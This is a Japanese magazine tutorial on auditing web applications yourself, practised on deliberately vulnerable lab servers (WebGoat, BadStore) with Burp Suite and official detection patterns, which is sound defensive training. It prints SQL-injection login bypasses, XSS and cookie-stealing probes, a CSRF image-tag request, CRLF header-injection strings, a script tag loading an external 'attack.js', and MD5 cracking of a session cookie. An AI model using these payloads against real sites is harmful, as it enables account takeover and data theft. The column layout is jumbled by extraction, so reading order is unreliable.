DIY

❖
サイトの穴はどこにある!?
ツールを駆使して自分で見つけてみよう!
Webアプリ監査
D.I.Y.
文● TIP
まずは防御側の視点から Web アプリの脆弱性について考えてみよう。セキュリティの
プロに監査を依頼しなくても管理者自らができることはたくさんある。付録の「やら
れサーバー」を練習台にさっそくチャレンジしてみよう。
❖
基礎編
― Web Security Dojo を使って監査の基礎を学ぶ―
セキュリティテストとしての脆弱性診断
公開されているものがいくつかあるので、それを
※1
SQL インジェクションという攻撃手法が一躍有
活用するとよいだろう。
名になったのは、2005 年の価格比較サイト「価
その後は要件どおりに実装されたかの確認が
格 .com」での不正アクセス事件からではないだ
必要になる。確認とはセキュリティテストを行う
ろうか。2010 年に入ってからも、アウトドアのモ
ことだ。開発におけるテストは、やみくもに操
ンベルが SQL インジェクションによりクレジット
作すればよいというものではない。必要なテス
カード情報が窃取されたとの報道があった。
トケースに基づいてテストを実施することが重要
これらは犯罪者たちの罪であることは間違いな
だ。このセキュリティテストは脆弱性診断と呼ば
いが、ただ手をこまねいているしかないのだろう
れることがある。
か。いや、実は報道された数多くの不正アクセス
ぐことができたものが大半なのだ。
Web アプリ攻略の近道は
「脆弱性診断技術」の習得
Web サイトへの攻撃は主に次の 3 つが原因と
犯罪を行う攻撃者たちも、思いつくままに攻撃
なっている。
を仕掛けているわけではない。ターゲットの脆弱
事件は、セオリーどおりの対策を行っておけば防
性を見つけ出すためのセオリーがあるのだ。
・インフラの脆弱性
例えば、検出パターン「（シングルクォート）
'
」
・運用面の脆弱性
をフォームに入力して、次の画面でエラーが返さ
・Web アプリケーションの脆弱性
れたならば、SQL インジェクション脆弱性がある
可能性があると判断する。また、
「'>"><hr>」と
130
このうち上の 2 つは、日々のセキュリティパッ
いった記号を入力して次画面でエスケープされず
チ適用や設定確認、セキュアな更新方法の採用
に表示されたならば、クロスサイトスクリプティン
やマネジメント、インシデントレスポンスなどで
グ（以下 XSS）の脆弱性がある可能性があると判
解決することができる。
断する。こういったセオリーの積み重ねが、致命
Web アプリについてはどうだろうか。
的な脆弱性を見つけ出すことにつながる。
実は Web アプリに関しては、ここ数年攻撃手
これは攻撃者だけの技術ではない。これを防
法がほとんど進化していない。つまりセキュリティ
御に活かすのがセキュリティ業者が実施する脆弱
対策が明確になっている。必要なのはまずセキュ
性診断だ。あらかじめ脆弱性を見つけ出して対処
アな要件定義と設計である。セキュアな要件は
しておくことで、被害を防ぐ。
※ 1 発注者のための Web システム／ Web アプリケーションセキュリティ要件書（株式会社トライコーダ）
http://www.tricorder.jp/security_requirement.html
つまり、Web アプリを攻略したいのであれば、
そこでプロキシ系補助ツールをおすすめする。
脆弱性診断技術を習得することが近道となる。
ブラウザーから発行されるリクエストとサーバー
脆弱性は何を使って見つけるか
からのレスポンスを途中で傍受することができる
というもので、値の変更なども自由に行うことが
ブラウザーの機能だけで見つけることができる
できる。
脆弱性もあるが、HTTP ヘッダーや hidden タグ
無償で使える有名なツールには以下のものが
に値を入力しないと見つからない類の脆弱性も
ある。
ある。そのため診断では HTTP リクエストにパラ
メーターを加えたり、レスポンスの内容に含まれ
るヘッダーの内容を確認したりする必要がある。
※2
・Burp Suite（Free Edition）
・WebScarab
※3
トレーニング環境を構築する
Web Security Dojo のセットアップ
今回のトレーニング環境として「Web Security
※4
Player などの環境がない方は、無料なので適
宜セットアップしていただきたい。インストール
Dojo 」を使用する。Ubuntu9.10 をベースに、
の手順については p17 に記載されている。また
Web セキュリティを学ぶための環境として、ター
Ubuntu ベースなので、必要に応じて日本語化な
ゲットとなる「やられ Web アプリケーション」と、
どを行うとよいだろう。
診断に必要なツール類一式がセットアップされて
ユーザー名とパスワードは「dojo」で利用する
いる。
ことができる。root 権限を使用したい場合には、
サイトでは VirtualBox と VMware のイメージ
sudo コマンドを使う必要がある。また、基礎編
が配布されていてる。また、VMware イメージを
のターゲットとして「OWASP's WebGoat」を利用
本誌付録 DVD-ROM に収録している。
した。
今回は VMware イメージを利用する。VMware
やられサーバーを準備しよう
We b G o a t
を起動する
には、メニューか
ら「Applications
- Targets - Web
Goat Star t」を
選択する
1
VMware Player から
Web S ecurit y Dojo
を起動する（筆者の環境
はすでに日本語化済み）
2
準備が整うと自
動的に Firefox
が起動し、WebGoat
にアクセスする。認
証が求められるので
「ID ＝ guest、パスワ
ード＝ guest」でログ
インを行うと準備が完
了する
3
※ 2 Burp Suite（Free Edition）http://portswigger.net/suite/ ※ 3 WebScarab http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
※ 4 Web Security Dojo http://www.mavensecurity.com/dojo.php
131
Burp Suite を起動・設定しよう
Burp Suite を機
能させるためには、
ブラウザー側のプロキシ
設定を Burp Suite 経由
（8001/tcp）に変更する
必要がある。Firefox の
メニューから「Edit - Pre
f e r e n c e s - A d va n c e d
- Network」の「Connec
tion - Settings」を開
き「Manual proxy confi
guration」を選択し、HT
TP と SSL のプロキシに
「127.0.0.1、Port:8001」
を設定する
2
Bu r p Suite
を起動する
にはメニューから
「A p p l i c a t i o n s Tools-Burp -suite
Free」を選択する
1
プロキシ設定後はリ
クエスト・レスポン
スごとに Burp Suite が割
り込み処理を行う
3
Burp Suite
待ちの状態になっているはずだ。
Burp Suite はプロキシ系補助ツールの 1 つで、
この割り込み処理の画面では次の操作が選べ
Web ブラウザーと Web サーバーの間のリクエス
る。
トとレスポンスに割り込む形で利用する。無償版
と Professional 版があり、無償版はスキャンスピー
・ [forward] リクエストを先へ進める
ドが遅いなどの制限があるが、トレーニングでは
・ [drop] リクエストを破棄
無償版の機能で十分事が足りる。もし必要ならば、
・ [intercept is on / off ] 割り込み処理の中止・
Professional 版は 149 英ポンド（2010 年月時点で
約 2 万円）で購入することができる。
Burp Suite の基本操作
再開
・ [action] 他のタブにリクエストを送るなどの各
種処理
Burp Suite を起動し、Firefox のプロキシ設定
また、画面下部のタブには [raw]、[params]、
を行ったならば、先の WebGoat のトップページ
[headers]、[hex] があり、それぞれで HTTP リク
の「Start WebGoat」ボタンをクリックしてみよう。
エスト／レスポンスの内容を書き換えることがで
通常ならば次のページに進むはずだが、Burp
きる。書き換えて [forward] することでブラウザー
Suite が割り込み処理を行っているため一時停
に送信され結果が反映される。
止の状態になっている。そのとき Burp Suite の
割り込み処理が必要ない場合には、適宜 [drop]
proxy タブでは、上図③のようにユーザーの処理
するか、
[intercept is off ] の状態にしておくとよい。
Web アプリケーションの脆弱性を知る
WebGoat はレッスン形式になっていて、脆弱
性ごとにステージが用意されており、課題を解
くことで脆弱性について学ぶことができるように
132
びたい方は自らレッスンを進めていただきたい。
クロスサイトスクリプティング（XSS）
なっている。もちろんヒントや解答も載っている。
XSS は攻撃者が作成したスクリプトを罠として
ここでは一部だけご紹介するので、継続して学
仕掛けておき、被害者のブラウザー上で動かす攻
Stored XSS に挑戦 !
ログイン後、
Tom Cat を選
び [ViewProfile] をク
リックする。すると、プ
ロフィールが表示され
るので、[EditProfile]
をクリックする
1
2
“Tom Cat”を選択し、パスワー
ドは“tom”でログインする
フォーム内の
Street（他
でも可）に下記の
XSS 攻撃を行うペ
イロードを書き込む
<script>alert
("XSS");</script>
3
[UpdateProfile] をクリックする
と、次の画面で「XSS」と書か
れたダイアログボックスが表示される。
[OK] をクリックして [Logout] する
4
次に“Jerr y”でログイン（パスワード
は“jerr y"）を行い、リストから“Tom
Cat” を選択して [ ViewProfile] をクリッ
クすると、次の画面で「XSS」と書かれた
ダイアログボックスが表示され、ページには
「completed」が表示され、Stored XSS 攻
撃が成功したことがわかる
5
撃で、受動的攻撃と呼ばれるものである。
スに書き込むことで、効果が持続するタイプの
脆弱性が発動する流れは以下のとおりだ。
XSS 攻撃を仕掛ける。課題は Tom として Edit
① GET または POST によってパラメーターに含ま
Profile ページ上で Stored XSS 攻撃を行い、Jerry
れたスクリプトが脆弱な Web サイトに送られる
が攻撃の影響を受けるのを確認することだ。
② Web サイトがそのスクリプトをそのまま画面に
表示しようとする
●攻撃の解説
③ユーザーのブラウザー上でスクリプトが動作す
この攻撃では Tom が攻撃者となり、自分の
る
プロフィールに XSS 攻撃のペイロードを埋め込ん
主に入力した文字列が以降の画面に表示され
だ。被害者の Jerry は、 Tom のプロフィー
る箇所で、XSS が起こる可能性がある。
ルを開いたことで仕掛けられた XSS 攻撃のペイ
ロードが発動した。
●攻撃の実行
ここで埋め込んだペイロードはダイアログボッ
WebGoat のサイドメニューから「Cross-Site
クスを表示するだけの JavaScript だったが、実
Scripting (XSS) - LAB: Cross Site Scripting -
際には被害者の Cookie を取得して攻撃者に送信
Stage 1:Stored XSS」を開く。
するスクリプトを埋め込むなどの攻撃パターンが
このステージは Stored XSS というデータベー
考えられる。
133
String SQL Injection を体験しよう
パスワードフォームに認証回避を実行す
る SQL インジェクションのペイロード
を入力したいが、フォームの文字数制限がある
のがわかるので、Burp Suite 経由でリクエス
トを送信するために [intercept is on] の状態
にする
1
“Neville Bar tholomew”を選択し、パス
ワードは未記入で [Login] をクリックすると
Burp Suite にリクエストが渡される
2
Burp Suite で“password”パラメータ
ーの値を SQL インジェクションで認証回
避を行うペイロードとして「' or 'a'='a」に書き
換え、[forward] を実行するとブラウザーに処理
が渡される。何度か Burp Suite が intercept
するので [forward] を実行するか [intercept is
off] の状態にする
3
4
管理者 ”Neville Bar tholomew”でログインが成功しプロフィールが表示される。ページには
「completed」が表示され、SQL インジェクションによる認証回避攻撃が成功したことがわかる。
SQL インジェクション
ドを使わずに Neville でログインすること。そ
SQL インジェクションは、Web アプリケーショ
してプロフィールの閲覧やすべての機能が使える
ンが利用しているデータベース上で、攻撃者が任
のを確認することだ。
意の SQL 文を実行する攻撃だ。
Web アプリケーションの多くはデータベースを
●攻撃の解説
利用していて、検索や削除などの要求が発生する
この Web アプリケーションでは、次のような
と、
SQL 文をデータベースに送ることになる。もし、
SQL コマンドで認証を行っている。
その SQL 文がユーザーの入力値によって変化す
る場合、攻撃者はそこに不正な SQL 文を挿入（イ
SELECT * FROM employee WHERE userid
ンジェクション）することで、任意の SQL 文を実
= " + userId + " and password = '" +
行できる可能性がある。
password + "'
●攻撃の実行
「password」にパスワードが渡される。一致した
SQL Injection - Stage 1:String SQL Injection」を
エントリーがあれば認証が成功するという仕組み
開く。
だ。そこで「password」にペイロード「' or 'a'='a」
このステージは SQL インジェクションで認証を
回避する攻撃を仕掛ける。課題は正しいパスワー
134
フォームの入力から「userid」にユーザー名、
サイドメニューから「Injection Flaws - LAB:
を送ると、次のような SQL コマンドが生成される
ことになる。
はじめての CSRF
CSRF 攻撃を行う URL を組み立て、メッセージを
見たユーザーが自動的にリクエストを発行するよう
に IMG タグにして Message に書き込む
<img src="http://127.0.0.1:8088/WebGoat/attac
k?Screen=9&menu=900&transferFunds=4000"
width="1" height="1" />
1
リクエストが実行されるとサイドメニュ
ーの CSRF の項目に緑色のチェック画
像が付く。再度レッスンを実行するには、ペー
ジ内の「Restart this Lesson」をクリックす
るとチェック画像が消える
3
CSRF のリクエスト発行を確認するために
Burp Suite を [intercept is on] にして、
Message List に表示された先の書き込みを閲覧
し、intercept した中に先の URL へのアクセスがあ
ることを確認する
2
リクエストの再発行は Burp
Suite の履歴から実行できる。
ブラウザーで「http://burp/」にアク
セスし、履歴を選択する。攻撃の再現
などに活用できるので覚えておこう
4
(CSRF)」を開く。
SELECT * FROM employee WHERE userid
このレッスンは、訪れたユーザーが意図しない
= 112 and password ='' or 'a'='a'
リクエストを発生させる CSRF 攻撃を仕掛ける。
課題はトレーニング終了を表すチェック画像を付
「password」は違っていても、その後の or 文
けるためのリクエスト（このレッスンの URL にパ
以降の「'a'='a'」は常に真になるので「userid=112」
ラメーター transferFunds=4000 を加えたもの）
のエントリーがマッチすることになり、認証が回
を CSRF 攻撃によって付けることだ。
避される。
Cross Site Request Forgery（CSRF）
●攻撃の解説
チェック画像を付けるためのリクエストは、訪
クロスサイトリクエストフォージェリ（CSRF：
問者が意図的に発行したものではなく、CSRF 攻
Cross Site Request Forgery）とは、攻撃者が
撃として仕掛けられた IMG タグによって自動的に
Web ページを閲覧すると HTTP リクエストが自動
発行された。
的に発行されるように仕掛けておき、訪れたユー
このレッスンの CSRF 攻撃ではレッスン終了の
ザーが意図していない別の Web サイトに対して何
チェックが表示されただけだったが、実際にはパ
らかの操作を行わせる攻撃だ。
スワード書き換えなどの重要機能を実行するリク
エストを発行するといった攻撃パターンが考えら
●攻撃の実行
れる。
WebGoat のサイドメニューから「Cross-Site
Scripting (XSS) - Cross Site Request Forgery
135
❖
実践編
―企業レベルでも使える実践的なWebアプリケーション攻略―
「ウェブ健康診断」仕様書に基づく脆弱性診断
※5
診断会社が実施する脆弱性診断というのは、
サイトからダウンロードすることができる。
セキュリティテストに他ならない。診断方法は
診断仕様には次の項目が記載されている。
定型化されており、脆弱性の判断基準も明確に
なっている。決まった項目のテストを作業として
・診断対象脆弱性（診断項目）
行うのだ。
・危険度基準
多くの開発会社は脆弱性診断をセキュリティ
・総合判定基準
専門会社に委託している。それには次のような
・診断時に利用する診断項目毎の検出パターン
理由がある。
（目安）
・脆弱性有無の判定基準
・テスト方法がわからない
・診断対象画面（機能）とその定義
・テスト仕様書を作れない
・どこを診断してよいかわからない
まず、もっとも知りたい診断時に利用する検
・脆弱性判定の基準がわからない
出パターンと、脆弱性有無の判定基準が明確に
・診断結果報告書の書き方がわからない
記されている。診断についての知識が全くない
・自社の診断を信用してもらえない
と厳しいかもしれないが、本編で学ぶ程度の知
識があれば、実践に必要十分な内容が記されて
この問題を解決できる手段の 1 つのが、
いる。
LASDEC「ウェブ健康診断」仕様書に基づく脆
他にも危険度を 3 段階に分けた基準や、診断
弱性診断である。
対象となる画面の解説、報告書のサンプルまで
「ウェブ健康診断」は
基本的な対策状況を診断
財団法人地方自治情報センター（LASDEC）
公開されている。
診断時に利用する診断項目ごとの
検出パターン
は住基ネットや総合行政ネットワーク（LGWAN）
診断で利用する検出パターンなどは 5 ページ
の運営で知られる地方公共団体の情報セキュリ
に渡って、脆弱性別に 12 項目が記されている。
ティ対策などを支援する総務省管轄の財団法人
だ。
（A）SQL インジェクション
その LASDEC が地方公共団体の運営する
（B）クロスサイトスクリプティング（XSS）
Web サイトの改ざんを防ぐために、
「ウェブ健
（C）クロスサイトリクエストフォージェリ
（CSRF）
康診断」という脆弱性診断の仕様を定めた。こ
（D）OS コマンドインジェクション
れは人間にたとえるならば、精密な人間ドック
（E）ディレクトリ・リスティング
のような検査ではなく、定期的に受診する定期
（F）メールヘッダーインジェクション
健康診断のようなイメージだ。つまり、基本的
（G）パストラバーサル
な対策ができているかどうかを診断するもので
（H）意図しないリダイレクト
ある。診断項目の定型化と抜き取り検査などに
（I） HTTP ヘッダーインジェクション
より、低コストで実施できるながらも、基本的
（J）認証
な対策状況は判断できるというものに仕上がっ
（K）セッション管理の不備
ている。
（L）アクセス制御の不備、欠落
「ウェブ健康診断」の診断仕様は LASDEC の
136
※ 5 http://www.lasdec.nippon-net.ne.jp/cms/12,1284.html
表 1 HTTP ヘッダーインジェクション診断時の検出パターンと判定基準
検出パターン
脆弱性有無の判定基準
1 Cookie に相当するパラメーターに改行コードを入力
Set-Cookie のパラメーターに改行が
元の値 %0d%0aSet-Cookie:xxxtest%3Dxxxxtest%3B
挿入される
2 リダイレクト先 URL に相当するパラメーターに改行コードを Location ヘッダーのパラメーターに
入力改行が挿入される
元の値 %0d%0aSet-Cookie:xxxxtest%3Dxxxxtest%3B
表 2 認証診断時の検出パターンと判定基準
検出パターン
脆弱性有無の判定基準
1 パスワードの max 文字数が 8 文字以上確保されているか
8 文字未満の場合は指摘
2 パスワードの文字種が数字のみ、英字のみに限定されて
数字のみ、英字のみの場合は指摘
いないか
3 パスワードが入力時に伏字になっているか
伏字になっていない場合は指摘
4 パスワード間違いの際のメッセージは適切か
ユーザー ID とパスワードのどちらが間違
5 ログアウト機能はあるか、適切に実装されているか
ログアウト機能がない、あるいはログ
いかわかるようなメッセージの場合指摘
アウト後「戻る」ボタンでセッションを
再開できる場合は指摘
6 意図的に 10 回パスワードを間違える
一部の項目の詳細を表 1、2 に示しておこう。
診断に必要な具体的な検出パターンの指示と、
その実行結果としてどうなると脆弱性があると
判断するのかという判定基準が明確になってい
アカウントロックされない場合は指摘
表 3 診断項目と危険度の判定基準
診断項目
高
クロスサイトスクリプティング (XSS)
中
クロスサイトリクエスト
中
る。仕様書にはこの項目に加えて備考としてさ
フォージェリ (CSRF)
らに詳細な内容が記されている。
OS コマンドインジェクション
知っておかなければならないのは、この基準
で判定されるのは「脆弱性がある可能性が高い」
ということであり、脆弱性があることもないこ
とも 100% の保証はしないということである。
危険度と総合判定基準
・危険度の判定
危険度
SQL インジェクション
ディレクトリ・リスティング
高
低∼高
メールヘッダーインジェクション
中
パストラバーサル
高
意図しないリダイレクト
中
HTTP ヘッダーインジェクション
中
認証
低∼中
セッション管理の不備
低∼高
アクセス制御の不備、欠落
高
脆弱性の危険度は一律ではなく、攻撃者の能
動的な攻撃が可能かといったことや、攻撃成功
今回の診断で脆弱性が発見されなかった。た
時の被害の多少などによって危険度が分かれて
だし、診断方法が限定されているので「安全で
おり、表 3 のようになっている。
ある」ことと同義ではない。
・総合判定基準
発見した脆弱性を「危険度の判定」に照らし
報告書
合わせ、3 段階の総合判定を行う。その際の基
攻撃者であれば脆弱性診断の結果を報告す
準は以下のようになっている。
る必要はないだろうが、企業などでは報告の必
・要治療・精密検査
要がある。
「ウェブ健康診断」では報告書サン
危険度が「高」
「中」の脆弱性を検出。
プルを提供している。ここでは詳細については
・差し支えない
解説しないが、報告書作成の参考にしていただ
危険度が「低」の脆弱性のみ発見。
きたい。
・異常は発見されなかった
137
BadStore.net を使った実際の診断
実践編ではより実際の Web サイトを想定し
表 4 SQL インジェクションの検出パターンと判定基準
た環境での脆弱性診断を行う。ここで使用する
検出パターン
環境は「BadStore.net」という「やられ Web ア
プリケーション」で、本誌付録 DVD-ROM に収
録されている。
ISO イメージを VMware などで起動するとコ
ンソールが起動する。DHCP で IP アドレスが設
脆弱性有無の判定基準
1 「'」（シングルクォート）1 個
エラーになる
2 「検索キー」と「検索キー
検索キーのみと
'and'a'='a」の比較
同じ結果になる
3 「検索キー（数値）
」と
検索キーのみと
「検索キー and 1=1」の比較
同じ結果になる
定されるので、ifconfig コマンドなどを使い、基
てデータベースへのアクセスがあるので「DB ア
礎編で使った Web Security Dojo の環境からア
クセス」、認証後のレスポンスで Set-Cookie に
※6
クセスできるようにしよう。また、公式サイト
よって Cookie が発行されているので「Cookie」
ではマニュアルも配布しているので、設定の詳細
も該当する。診断項目は次の 5 つとなるが、こ
などはそちらを参照してほしい。
こでは（A）と（K）の診断について説明する。
今回の記事では「http://192.168.3.106」にセッ
トアップされているので、各自の環境に読み替え
（A）SQL インジェクション
ていただきたい。
（H）意図しないリダイレクト
（I）HTTP ヘッダー・インジェクション
ログイン画面を診断
BadStore のログイン画面が次ページ、①の図
だ。ここでの説明は、
画面上側のログインフォー
ム（Login to Your Account）のみを対象とする。
またアカウントはすでに登録済みとする。
（J）認証
（K）セッション管理不備
SQL インジェクションの診断
SQL インジェクションの診断には Burp Suite
を利用する。ここでは表 4 にある検出パターン 1
●診断項目の決定
の診断のみを実施するが、実際は他の検出パター
Web 健康診断の仕様書「2.5 診断対象画
ンの診断と、複数パラメーターの診断を行うので、
面（機能）とその定義について」を参考に実施
効率よく診断を行うためにベースのリクエストを
する診断項目を決める。ここでの診断対象は、
生成することから始めよう。診断作業の詳細は
ログインフォームに ID・パスワードを入力して
次ページの図を参照していただきたい。
[Login] ボタンを押したとき送信されるリクエス
トとレスポンスについてだ。
●診断結果の考察
この画面は「ログイン」がまず該当する。そし
検出パターン 1 を実行した結果を見ると、
HTTP レスポンスコードは「200 OK」でリクエス
トは成功しているが、
「Software error:」という
ページが表示されている。
検出パターン 1 の脆弱性有無の判定基準は
「エラーになる」ことである。先の表では省略し
ているが、仕様書には備考があり下記のように
書かれている。
備考 ( 脆弱性有無の判定基準詳細、その他）
レスポンスに DBMS などが出力するエラー
メッセージ（例：SQLException、Query
BadStore.net を起動。外部からブラウザーでアクセ
スすればトップページが表示されるはずだ
138
※ 6 BadStore.net http://www.badstore.net/
failed など）が表示された場合にエラーが
発生したと判定します。
ログイン画面に SQL インジェクション脆弱性があるかどうか診断する
ブラウザーでログイン画面 [Login /Register] にア
クセス
http://[BadStore.net の IP アドレス ]/cgi-bin/badstore.
cgi?action=loginregister
1
3
[r e p e a t e r] の
[request] のパラ
メーター「email」
の値を、検出パ
ターン 1 の「'」に
書き換え、[go]
を実行し、レス
ポンスを [raw]
や [render] など
で確認する
結果のページを見ると、
フォームは空のままで [Login] ボタ
ンを押して Burp Suite にリクエスト
を渡す
Bur p Suite の [ prox y] - [intercept]
- [action] - [send repeater] をクリッ
クし [repeater] にリクエストを渡す。
[repeater] は繰り返しリクエストを送信す
る機能で、値を変更して何度も繰り返すこ
とができる
2
インが成功したことを示す。
攻撃者やセキュリティ診断会社は、さまざまな
「DBD:mysql::st execute failed: You have an
error in your SQL syntax;」
検出パターンを知っている。経験などによりパター
ンを使い分け、実際に被害が起きる攻撃を行う
ことができる。
「ウェブ健康診断」の仕様にはそ
という一文が見られる。これは備考にある
こまでは記載されていない。しかし、彼らがそ
「DBMS などが出力するエラーメッセージ」とい
れ以上攻撃パターンを試すか否かを決定する攻
う条件に合致する。
つまり、検出パターン 1 を実行した結果、脆
弱性があると判断できる。そのため、このログ
撃の端緒は、先の検出パターン 1 となるのだ。
セッション管理不備の診断
イン画面のパラメーター「email」を受け取るプ
次ページの表 5 にある検出パターン 1 ∼ 5 で
ログラム（badstore.cgi）には、SQL インジェク
は、HTTP ヘッダーの確認や Cookie の操作な
ションの脆弱性があると考えられる。他のパラ
どの手順が必要になる。ここでは検出パターン
メーターの診断についてはここでは割愛する。
の説明は行わないので、下記の手段を用いて自
身で確認してもらいたい。
●具体的な攻撃パターン
「ウェブ健康診断」の仕様では脆弱性の有無
● HTTP ヘッダーの確認
しか判断せず、実際に被害がある攻撃が成功し
HTTP ヘッダーの確認については、Burp Suite
たかどうかは問わない。
のリクエストとレスポンスで確認することができ
例えば、
先のリクエストのパラメーター
「email」
る。また、HTTP ヘッダーの「Cookie: 」や「Set-
の値を「' or 1=1 or '」に書き換えてリクエストを
Cookie: 」の値を確認することで、Cookie の内容
実行してみると、結果はどうなるだろうか。
も確認することができる。
トップページにリダイレクトし、画面上部には
「Welcome Test User」と表示される。これは認
証を回避し「Test User」というアカウントでログ
● Cookie の操作
Cookie の操作は HTTP ヘッダーの値を直接操
139
表 5 セッション管理不備の検出パターンと判定基準
検出パターン
脆弱性有無の判定基準
1 ログインの前後でセッション ID が変化するか
セッション ID が変わらない場合は指摘
2 言語・ミドルウェアの備えるセッション管理機構を使用せず
手作りのセッション管理機構を使っていないか
手作りのセッション管理機構を使用して
いる場合は指摘
3 SSL を使用するサイトの場合、セッション ID を保持する
Cookie にセキュア属性が付与されているか
Cookie のセキュア属性が付与されて
いない場合は指摘
4 Cookie をオフにしてアクセスした場合、セッション ID が
URL 埋め込みにならないか
セッション ID が URL 埋め込みの場合は
指摘
5 携帯電話向けサイトなどでセッション ID を URL 埋め込み
にしている場合、外部リンクから Referer 経由で
Referer からセッション ID が漏えいする
場合は指摘
セッション ID が漏えいしないか
セッション管理不備を診断してみる
ログイン後のセッション ID（SSOid）は、Cookie から下記の値が得られる。
dWVub0BleGFtcGxlLmNvbTo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5O
TpTZW4gVUVO%0ATzpV%0A
1
2
dWVub0BleGFtcGxlLmNvbTo1ZjRkY2M
zYjVhYTc2NWQ2MWQ4MzI3ZGViODgy
Y2Y5OTpTZW4gVUVOTzpV
[email protected]:5f4dcc3b5aa765d
61d8327deb882cf99:Sen UENO:U
改行コード「%0A」を除去し、Burp Suite の [decoder] に上記の値を入れて、[decode as ...] を「base64」
と指定するとセッション ID をデコードした結果が表示される
3
「5f4dcc3b5aa765d61d8327deb882cf99」
は MD5 だと推測できるので、Rainbow Tables を
使って解読を行う（http://www.md5decr ypter.
com/）。セッション ID にはログインアカウントと
名前などが含まれていることがわかる。攻撃者は
XSS などによって利用者の Cookie を奪取するこ
とで、アカウントを盗むことができる
※7
作してもよいが、Firefox の「Web Developer 」
板なので「入力内容確認」がまず該当する。そし
というアドオンを使うと便利だ。Cookie の無効化
てデータベースのアクセスと更新が行われるので
や削除といったさまざまな操作を Firefox で行うこ
「DB アクセス」と「DB 更新」が該当する。よっ
とができる。またフォームに関する機能も充実し
て診断項目は次の 3 つとなる。検出パターンと判
ていて、hidden フォームを操作できるようにした
定の基準は表 6 となる。
り、パスワードフォームの文字が見えるようにする
機能なども備わっている。
ゲストブックを診断
(A) SQL インジェクション
(B) クロスサイトスクリプティング
(C) クロスサイトリクエストフォージェリ
次に BadStore の掲示板を診断してみよう。掲示
140
※ 7 Web Developer http://lab.tubonotubo.jp/tools/webdeveloper/index.html
表 6 XSS の検出パターンと判定基準
検出パターン
脆弱性有無の判定基準
1 「'>"><hr>」
エスケープなどされずに出力される
2 「'>"><script>alert(document.cookie)</script>」
エスケープなどされずに出力される
3 URL 中のファイル名として
エスケープなどされずに出力される
<script>alert(document.cookie)</script>
4 javascript:alert(document.cookie);
href 属性などに出力される
掲示板に XSS 脆弱性があるかどうか診断する
ブラウザーで掲示板 [Sign our Guestbook] にアクセス
http://[BadStore.net の IP アドレス ]/cgi-bin/
badstore.cgi?action=guestbook
1
2
フォームは空のままで [Add Entry] ボタンを
押して Burp Suite にリクエストを渡す。
Burp Suite の [proxy] - [intercept] - [action] [send intruder] をクリックし [intruder] にリクエ
ストを渡す。[intruder] は自動的に繰り返しリクエス
トを送信する機能で、複数のパラメーターなどの診
3
断の実施に役立つ
検出パターン 1 の診断。[intruder] の [posi
tions] 内で自動的に変更可能なパラメーターが図
4
のように自動的にマークされている。検査不要な部
分のマーク（ここでは actions と SSOid の 2 つ）
をクリアする
5
[intruder] の [payloads] に検出パターン
「'>"><hr>」を追加する
メニューから [intruder] - [start] を実行する（デ
モ版のアラートは OK を押す）
6
intruder の実行結果の行をダブルクリックして結果の詳細を
表示し、レスポンス内に検出パターンがエスケープなどされな
いまま表示されていないかを探す。検索するには下部の検索
窓に入力する。以降の実行結果を見るには [next] で移動する。
以下、繰り返しレスポンスの確認を行う
●クロスサイトスクリプティングの診断
のまま表示されている。検出パターン 1 の脆弱性
XSS の診断も SQL インジェクションと同様に
有無の判定基準はエスケープなどされずにそのま
Burp Suite を利用する。ここでは検出パターン 1
ま出力されることなので、よってクロスサイトスク
の診断を実施する。効率よく診断を行うために、
リプティング脆弱性があると判断できる。
ベースのリクエストを生成することから始める。
診断の手順は上のカコミを参照していただきた
●具体的な攻撃パターン
い。
先のリクエストのペイロードには JavaScript を埋
●診断結果の考察
め込むことができるので、攻撃者は下記のように指
検出パターン 1 を実行した結果を見ると、レス
定して任意のコードを実行させることができる。
ポンス内に検出パターンがエスケープされずにそ
141
My Account の画面にCSRF 脆弱性があるかどうか診断する
1
2
検出パターン 1 の診断を行う。保存した
HTML のフォーム送信先を、ターゲットサー
バーのものに合わせる。
書き換え前
<form method="POST" action="/cgibin/badstore.cgi?action=moduser"
enctype="application/x-www-formurlencoded" onsubmit="return
DoPwdvrfy(this);">
書き換え後（下線部が追加した箇所）
My Account の画面をブラウザーの保存機能で
HTML で保存する
3
<form method="POST" action=
" http://192.168.3.106/cgi-bin/
badstore.cgi?action=moduser"
enctype="application/x-www-formurlencoded" onsubmit="return
DoPwdvrfy(this);">
ブラウザーで BadStore.net にログインする。書き換
えた HTML ファイルを開いて、Change Password
を実行する
<script src="http://www.example.com/
attack.js></script>
表 7 CSRF の検出パターンと判定基準
検出パターン
1 ログイン状態において、
Cookie を奪取するコードを実行して、先の脆
弱性と併せてアカウントを盗ったり、マルウェア
をダウンロードするコードを実行するなどの方法
が考えられる。
特定副作用を持つ画面に
脆弱性有無の判定基準
特定副作用が
実行される
対して外部からパラメーター
を強制する
たと仮定して考えると理解しやすいのではないだ
設定画面「My Account」を診断
ろうか。つまり、外部の HTML フォームからのリ
クエストを実行したことで、パスワードの書き換
本来は他にも診断項目があるが、ここではクロ
えが完了したことになる。
スサイトリクエストフォージェリ（CSRF）のみを取
これにより、ログイン状態において、特定副作
り上げる。
用を持つ画面に対して外部からパラメーターを強
CSRF は外部からの不正なリクエストを、ログイ
制することでその副作用が実行されたことにな
ン済みユーザーのブラウザーで発行させることで、
り、この My Account 機能には CSRF の脆弱性
そのユーザーの権限を悪用する攻撃手法である。
があると判断できる。
OWASP CSRFTester
※8
などの CSRF 攻撃のた
めのリクエスト再生に特化したツールもあるが、
●具体的な攻撃パターン
簡易にテストを行うには、その画面の HTML を保
この検証では手動でリクエストを送信したが、
存して利用するという方法がある。
JavaScript などを使うことでログイン済みユー
ザーが気が付かないうちにパスワードを変更する
●診断結果の考察
リクエストを自動的に発行することも可能だ。
保存した HTML フォームを外部サイトに設置し
142
※ 8 OWASP CSRFTester http://www.owasp.org/index.php/CSRFTester
さらに実践したい方に
実践編の解説はここまでだが、まだ物足りない
での試験も行うことができる。
方は BadStore.net にはさらに脆弱性があるので、
VMware のイメージで配布されている。起動し
他の画面にある脆弱性を探してみてはいかがだろ
て、moth / moth でログインしてネットワーク設
うか。BadStore のマニュアルにはチートシートが
定を行う。
載っているので、答え合わせもできるようになっ
※ 12
ている。
・Hacme シリーズ
検出パターンと判定基準を知ることが
達人への道
McAfee が買収した Foundstone が提供する
やられ Web アプリケーションで、Web Security
Dojo にも同梱されている「Hacme Casino」をは
実践編で紹介した「ウェブ健康診断」に載って
じめ、
「Hacme Travel」
「Hacme Bank」
「Hacme
